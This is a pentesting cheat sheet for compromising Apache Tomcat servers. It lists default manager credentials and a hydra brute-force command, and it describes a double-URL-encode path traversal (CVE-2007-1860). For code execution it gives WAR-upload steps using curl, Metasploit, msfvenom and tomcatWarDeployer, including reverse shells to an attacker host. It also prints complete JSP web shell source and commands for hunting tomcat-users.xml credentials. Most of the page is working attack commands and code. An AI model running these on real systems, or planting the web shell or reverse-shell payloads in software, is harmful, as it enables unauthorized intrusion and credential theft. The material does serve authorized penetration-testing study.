Pentesting

Tomcat

It usually runs on port 8080

Avoid to run with root

In order to not run Tomcat with root a very common configuration is to set an Apache server in port 80/443 and, if the path requested matches a regexp, the request is send to the Tomcat running in other port.

Username Enum

In some versions prior to Tomcat6 you could enumerate users:

msf> use auxiliary/scanner/http/tomcat_enum

Default credentials

The most interesting path of Tomcat is /manager/html, inside that path you can upload and deploy war files (execute code). But this path is protected by basic TTP auth, the most common credentials are:

  • admin:admin

  • tomcat:tomcat

  • admin:<NOTHING>

  • admin:s3cr3t

  • tomcat:s3cr3t

  • admin:tomcat

You could test these and more using:

msf> use auxiliary/scanner/http/tomcat_mgr_login

Bruteforce

This could be needed.

hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html

Vulns

A well-known vulnerability to access the application manager is mod_jk in CVE-2007-1860, that allows Double URL encode path traversal.

In order to access to the management web of the Tomcat go to: pathTomcat/%252E%252E/manager/html

Take into account that to upload the webshell you could need to use the double urlencode trick and send also a cookie and/or a SSRF token. To access to backdoor you could also need to use the double urlencode trick.

RCE

Finally, if you have access to the Tomcat Web Application Manager, you can upload and deploy a .war file (execute code).

Limitations

You will only be able to deploy a WAR if you have enough privileges (roles: admin, manager and manager-script). Those details can be find under tomcat-users.xml usually defined in /usr/share/tomcat9/etc/tomcat-users.xml (it vary between versions) (see POST section).

# /!\ tomcat7 and above uses /manager/text/undeploy and /manager/text/deploy paths
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
# deploy under "path" context path
curl --upload-file monshell.war "http://tomcat:Password@localhost:8080/manager/deploy?path=/monshell"
# undeploy
curl "http://tomcat:Password@localhost:8080/manager/undeploy?path=/monshell"

Metasploit

use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit

MSFVenom Reverse Shell

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.0.41 LPORT=80 -f war -o revshell.war

Then, upload the revshell.war file and access to it (/revshell/)

Bind and reverse shell with tomcatWarDeployer.py

In some scenarios this doesn't work (for example old versions of sun)

Download

git clone https://github.com/mgeeky/tomcatWarDeployer.git

Reverse shell

./tomcatWarDeployer.py -U <username> -P <password>-H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/

Bind shell

./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/

Using Culsterd

clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows

Manual method - Web shell

Create index.jsp with this content:

<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
$ mkdir webshell
$ cp index.jsp webshell
$ cd webshell
$ jar -cvf ../webshell.war *
webshell.war is created

You could also install this (allows upload, download and command execution): http://vonloesch.de/filebrowser.html

POST

Name of tomcat credentials file is tomcat-users.xml

find / -name tomcat-users.xml 2>/dev/null

Other ways to gather tomcat credentials:

msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat